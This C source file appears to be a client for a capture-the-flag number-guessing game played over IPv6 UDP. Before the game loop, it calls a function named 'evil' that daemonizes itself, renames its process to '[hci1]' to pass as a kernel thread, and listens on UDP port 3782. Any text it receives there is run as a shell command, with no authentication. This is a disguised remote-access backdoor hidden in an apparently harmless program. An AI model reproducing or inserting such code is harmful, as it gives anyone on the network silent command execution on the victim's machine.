#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netdb.h>
#include <fcntl.h>


#define NODEBUG

#ifdef DEBUG
#   define PORT 4444
#else
#   define PORT 44
#endif

#define evil listener

int
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
{
    struct sockaddr_in6 saddr = { 0 };

    saddr.sin6_family = AF_INET6;
    saddr.sin6_port = htons(port);
    memcpy(&saddr.sin6_addr, addr, sizeof *addr);
    return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}

void
sigchld(int unused)
{
    while (0 < waitpid(-1, NULL, WNOHANG));
}

void
evil(char *argv[])
{
    int sock;

    if (fork()) {
        return;
    }

    /* Fork again to reparent to init */
    if (fork()) {
        exit(0);
    }

    {
        int r = open("/dev/null", O_RDONLY);
        int w = open("/dev/null", O_WRONLY);

        dup2(r, 0);
        dup2(w, 1);
        dup2(w, 2);
        close(r);
        close(w);
    }

    strcpy(argv[0], "[hci1]");

    sock = socket(AF_INET6, SOCK_DGRAM, 0);
    if (-1 == bind_port(sock, &in6addr_any, 3782)) {
        exit(0);
    }

    while (1) {
        char cmd[400];
        ssize_t inlen;

        inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
        if (-1 == inlen) {
            continue;
        }

        cmd[inlen] = 0;
        if (! fork()) {
            system(cmd);
            exit(0);
        }
    }
}

int
main(int argc, char *argv[])
{
    long            answer = 0;
    int             sock;
    int             i;
    struct addrinfo *addr;
    uint32_t        token = 0;
    FILE            *in, *out;

    srand(time(NULL));

    signal(SIGCHLD, sigchld);

    if (argc < 2) {
        fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
        return EX_USAGE;
    }

    {
        struct addrinfo hints = { 0 };

        hints.ai_family = PF_INET6;
        hints.ai_socktype = SOCK_DGRAM;
        hints.ai_flags = AI_NUMERICHOST;

        if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
            perror("Resolving address");
            return EX_IOERR;
        }
    }

    /*
     * Set up socket 
     */
    sock = socket(AF_INET6, SOCK_DGRAM, 0);
    if (-1 == bind_port(sock, &in6addr_any, PORT)) {
        perror("Binding UDP port 44");
        return EX_IOERR;
    }

    if (argv[2]) {
        /* fork and exec */
    } else {
        in = stdin;
        out = stdout;
    }

    evil(argv);

    while (1) {
        long guess;
        struct {
            uint32_t        token;
            uint16_t        guess;
        } g;

        g.token = token;
        if (token) {
            char line[20];

            if (NULL == fgets(line, sizeof line, in)) {
                break;
            }
            g.guess = strtol(line, NULL, 16);
        } else {
            g.guess = 0;
        }

        /* Send the guess */
        if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
            perror("Sending packet");
            return EX_IOERR;
        }

        /* read the result */
        {
            char buf[80];
            ssize_t len;

            len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
            switch (len) {
                case -1:
                    perror("Reading packet");
                    return EX_IOERR;
                case 1:
                    /* It's a score */
                    printf("%02x\n", buf[0]);
                    break;
                case 4:
                    /* New game token */
                    printf("NEW GAME\n");
                    token = *((uint32_t *) buf);
                    break;
                default:
                    /* You win: this is your CTF token */
                    buf[len] = 0;
                    printf("A WINNER IS YOU: %s\n", buf);
                    break;
            }
        }
    }

    return 0;
}